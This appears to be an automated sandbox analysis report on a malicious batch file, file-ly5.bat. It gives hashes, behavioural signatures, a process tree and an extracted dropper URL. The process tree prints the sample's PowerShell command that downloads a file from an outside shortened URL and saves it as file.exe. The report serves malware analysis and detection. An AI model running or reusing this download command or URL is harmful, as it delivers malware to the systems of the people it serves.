Analysis
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max time kernel
119s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
29/10/2024, 23:30
Static task
static1
Behavioral task
behavioral1
Sample
file-ly5.bat
Resource
win7-20241010-en
5 signatures
150 seconds
General
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Target
file-ly5.bat
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Size
604B
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MD5
a382e3f085e005edb9c5ea215109bb9b
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SHA1
e7454672385b823bd0e26eaaf092aa9f04607429
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SHA256
5b60f3dc0e0e96085cdddb8d8135eede32ccc9f0981996261a8cf27d4be2dbfb
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SHA512
bee9a075e2acb3c47c24590e0b98a0949d5b7d6a86f017b0290304413bbac3b25e89ea8549a0be4fdfb88604ce6d950a151b3cd3370b71aefa9fbce3273a87ee
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
exe.dropper
https://u.to/nBL7IA
Signatures
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Blocklisted process makes network request 4 IoCs
flow pid Process 5 2352 powershell.exe 7 2352 powershell.exe 9 2352 powershell.exe 10 2352 powershell.exe -
pid Process 2352 powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2352 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2352 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2360 wrote to memory of 2352 2360 cmd.exe 32 PID 2360 wrote to memory of 2352 2360 cmd.exe 32 PID 2360 wrote to memory of 2352 2360 cmd.exe 32
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\file-ly5.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2360 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://u.to/nBL7IA', 'file.exe')"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2352
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
-
Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b